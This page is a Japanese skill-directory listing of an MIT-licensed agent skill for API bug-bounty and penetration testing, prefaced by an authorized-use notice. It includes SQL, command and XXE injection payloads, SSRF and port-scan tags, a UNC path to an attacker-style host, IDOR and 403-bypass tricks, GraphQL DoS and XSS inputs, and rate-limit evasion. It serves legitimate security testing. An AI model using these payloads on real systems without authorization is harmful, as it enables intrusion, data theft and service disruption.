Agent Skills by ALSEL
Anthropic Claudeソフトウェア開発⭐ リポ 0品質スコア 50/100

api-fuzzing-bug-bounty

バグバウンティやペネトレーションテストにおいて、REST・SOAP・GraphQL APIを対象とした包括的なテスト手法を提供します。脆弱性の発見、認証バイパス、IDORの悪用、APIに特化した攻撃ベクターを網羅しており、API診断を体系的に進めたい場面で活用できます。

description の原文を見る

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

SKILL.md 本文

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

API Fuzzing for Bug Bounty

目的

REST、SOAP、GraphQL APIのテスト技術を包括的に提供し、バグバウンティハンティングと侵入テスト業務における脆弱性の発見、認証回避、IDOR悪用、API固有の攻撃ベクトルをカバーします。

入力/前提条件

  • Burp Suite または同様のプロキシツール
  • API ワードリスト (SecLists、api_wordlist)
  • REST/GraphQL/SOAP プロトコルの理解
  • スクリプト作成用の Python
  • ターゲット API エンドポイントとドキュメント (利用可能な場合)

出力/成果物

  • 特定された API 脆弱性
  • IDOR 悪用の証明
  • 認証回避技術
  • SQL インジェクション ポイント
  • 不正なデータアクセスのドキュメンテーション

API タイプ概要

タイププロトコルデータ形式構造
SOAPHTTPXMLヘッダ + ボディ
RESTHTTPJSON/XML/URL定義済みエンドポイント
GraphQLHTTPカスタムクエリ単一エンドポイント

コアワークフロー

ステップ 1: API リコネッサンス

API タイプを特定し、エンドポイントを列挙します:

# Swagger/OpenAPI ドキュメントの確認
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# API 発見用 Kiterunner の使用
kr scan https://target.com -w routes-large.kite

# Swagger からパスを抽出
python3 json2paths.py swagger.json

ステップ 2: 認証テスト

# 異なるログインパスをテスト
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# 認証エンドポイントのレート制限をチェック
# レート制限がない場合 → ブルートフォース可能

# モバイルと Web API は別々にテスト
# 同じセキュリティ制御を想定しない

ステップ 3: IDOR テスト

Insecure Direct Object Reference は最も一般的な API 脆弱性です:

# 基本的な IDOR
GET /api/users/1234 → GET /api/users/1235

# ID がメールベースでも、数値を試す
/?user_id=111 instead of /?user_id=user@mail.com

# /me/orders vs /user/654321/orders をテスト

IDOR 回避技術:

# ID を配列でラップ
{"id":111} → {"id":[111]}

# JSON ラップ
{"id":111} → {"id":{"id":111}}

# ID を 2 度送信
URL?id=<LEGIT>&id=<VICTIM>

# ワイルドカード注入
{"user_id":"*"}

# パラメータ汚染
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

ステップ 4: インジェクション テスト

JSON 内の SQL インジェクション:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (脆弱性あり!)
{"id":"56456 AND sleep(15)#"}15 秒スリープ

コマンド インジェクション:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux コマンド インジェクション
api.url.com/endpoint?name=file.txt;ls%20/

XXE インジェクション:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

API 経由の SSRF:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine 脆弱性:

# .NET アプリが Path.Combine(path_1, path_2) を使用する場合
# パストラバーサルをテスト
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

ステップ 5: メソッド テスト

# すべての HTTP メソッドをテスト
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# コンテンツ タイプを切り替え
Content-Type: application/json → application/xml

GraphQL 固有のテスト

イントロスペクション クエリ

バックエンド スキーマ全体を取得:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL エンコード版:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

# 他のユーザー ID へのアクセスを試行
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}

GraphQL SQL/NoSQL インジェクション

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

レート制限回避 (バッチ処理)

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

GraphQL DoS (ネストされたクエリ)

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

GraphQL XSS

# GraphQL エンドポイント経由の XSS
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URL エンコード XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

GraphQL ツール

ツール目的
GraphCrawlerスキーマ発見
graphw00fフィンガープリント
clairvoyanceスキーマ再構成
InQLBurp 拡張機能
GraphQLmap悪用

エンドポイント回避技術

403/401 を受け取った場合、これらの回避を試みてください:

# 元のブロック済みリクエスト
/api/v1/users/sensitivedata → 403

# 回避試行
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

出力悪用

PDF エクスポート 攻撃

<!-- PDF エクスポート経由の LFI -->
<iframe src="file:///etc/passwd" height=1000 width=800>

<!-- PDF エクスポート経由の SSRF -->
<object data="http://127.0.0.1:8443"/>

<!-- ポートスキャン -->
<img src="http://127.0.0.1:445"/>

<!-- IP 開示 -->
<img src="https://iplogger.com/yourcode.gif"/>

制限経由の DoS

# 通常のリクエスト
/api/news?limit=100

# DoS 試行
/api/news?limit=9999999999

一般的な API 脆弱性チェックリスト

脆弱性説明
API 公開保護されていないエンドポイントの公開
キャッシュミス設定センシティブデータの不正なキャッシング
トークン 公開レスポンスまたは URL 内の API キー/トークン
JWT 弱点署名が弱い、有効期限なし、アルゴリズム混同
IDOR / BOLAオブジェクトレベルの認可破綻
ドキュメント化されていないエンドポイント隠されたアドミン/デバッグ エンドポイント
異なるバージョン古い API バージョンのセキュリティギャップ
レート制限レート制限がない、または回避可能
競合状態TOCTOU 脆弱性
XXE インジェクションXML パーサー悪用
コンテンツタイプの問題JSON/XML 間の切り替え
HTTP メソッド改ざんGET→DELETE/PUT 悪用

クイックリファレンス

脆弱性テストペイロードリスク
IDORuser_id パラメータを変更
SQLiJSON 内の ' OR 1=1--極度
コマンド インジェクション; ls /極度
XXEENTITY を含む DOCTYPE
SSRFパラメータ内の内部 IP
レート制限回避バッチリクエスト
メソッド改ざんGET→DELETE

ツール リファレンス

カテゴリツールURL
API ファジングFuzzapigithub.com/Fuzzapi/fuzzapi
API ファジングAPI-fuzzergithub.com/Fuzzapi/API-fuzzer
API ファジングAstragithub.com/flipkart-incubator/Astra
API セキュリティapicheckgithub.com/BBVA/apicheck
API 発見Kiterunnergithub.com/assetnote/kiterunner
API 発見openapi_security_scannergithub.com/ngalongc/openapi_security_scanner
API ツールキットAPIKitgithub.com/API-Security/APIKit
API キーAPI Guesserapi-guesser.netlify.app
GUIDGUID Guessergist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
GraphQLInQLgithub.com/doyensec/inql
GraphQLGraphCrawlergithub.com/gsmith257-cyber/GraphCrawler
GraphQLgraphw00fgithub.com/dolevf/graphw00f
GraphQLclairvoyancegithub.com/nikitastupin/clairvoyance
GraphQLbatchqlgithub.com/assetnote/batchql
GraphQLgraphql-copgithub.com/dolevf/graphql-cop
ワードリストSecListsgithub.com/danielmiessler/SecLists
Swagger パーサーSwagger-EZrhinosecuritylabs.github.io/Swagger-EZ
Swagger ルートswagroutesgithub.com/amalmurali47/swagroutes
API マインドマップMindAPIdsopas.github.io/MindAPI/play
JSON パスjson2pathsgithub.com/s0md3v/dump/tree/master/json2paths

制約事項

必須:

  • モバイル、Web、デベロッパー API を別々にテスト
  • すべての API バージョン (/v1、/v2、/v3) を確認
  • 認証済みおよび未認証アクセスの両方を検証

禁止:

  • API バージョン間で同じセキュリティ制御を想定する
  • ドキュメント化されていないエンドポイントのテストをスキップする
  • レート制限チェックを無視する

推奨:

  • X-Requested-With: XMLHttpRequest ヘッダを追加してフロントエンドをシミュレート
  • archive.org で過去の API エンドポイントを確認
  • センシティブ操作の競合状態をテスト

例 1: IDOR 悪用

# オリジナルリクエスト (自分のデータ)
GET /api/v1/invoices/12345
Authorization: Bearer <token>

# 変更されたリクエスト (他のユーザーのデータ)
GET /api/v1/invoices/12346
Authorization: Bearer <token>

# レスポンスは他のユーザーの請求書データを露開

例 2: GraphQL イントロスペクション

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

トラブルシューティング

問題解決方法
API が何も返さないX-Requested-With: XMLHttpRequest ヘッダを追加
すべてのエンドポイントで 401?user_id=1 パラメータを追加してみる
GraphQL イントロスペクションが無効clairvoyance を使用してスキーマを再構成
レート制限されるIP ローテーションまたはバッチリクエストを使用
エンドポイントが見つからないSwagger、archive.org、JS ファイルを確認

使用するタイミング

このスキルは、概要で説明されているワークフローまたはアクションを実行するために適用可能です。

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
sickn33
リポジトリ
sickn33/antigravity-awesome-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/sickn33/antigravity-awesome-skills / ライセンス: MIT

関連スキル

汎用ソフトウェア開発⭐ リポ 39,967

doubt-driven-development

重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 1,175

apprun-skills

TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。

by yysun
OpenAIソフトウェア開発⭐ リポ 797

desloppify

コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。

by Git-on-my-level
汎用ソフトウェア開発⭐ リポ 39,967

debugging-and-error-recovery

テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 39,967

test-driven-development

テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 39,967

incremental-implementation

変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。

by addyosmani
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: sickn33 · sickn33/antigravity-awesome-skills · ライセンス: MIT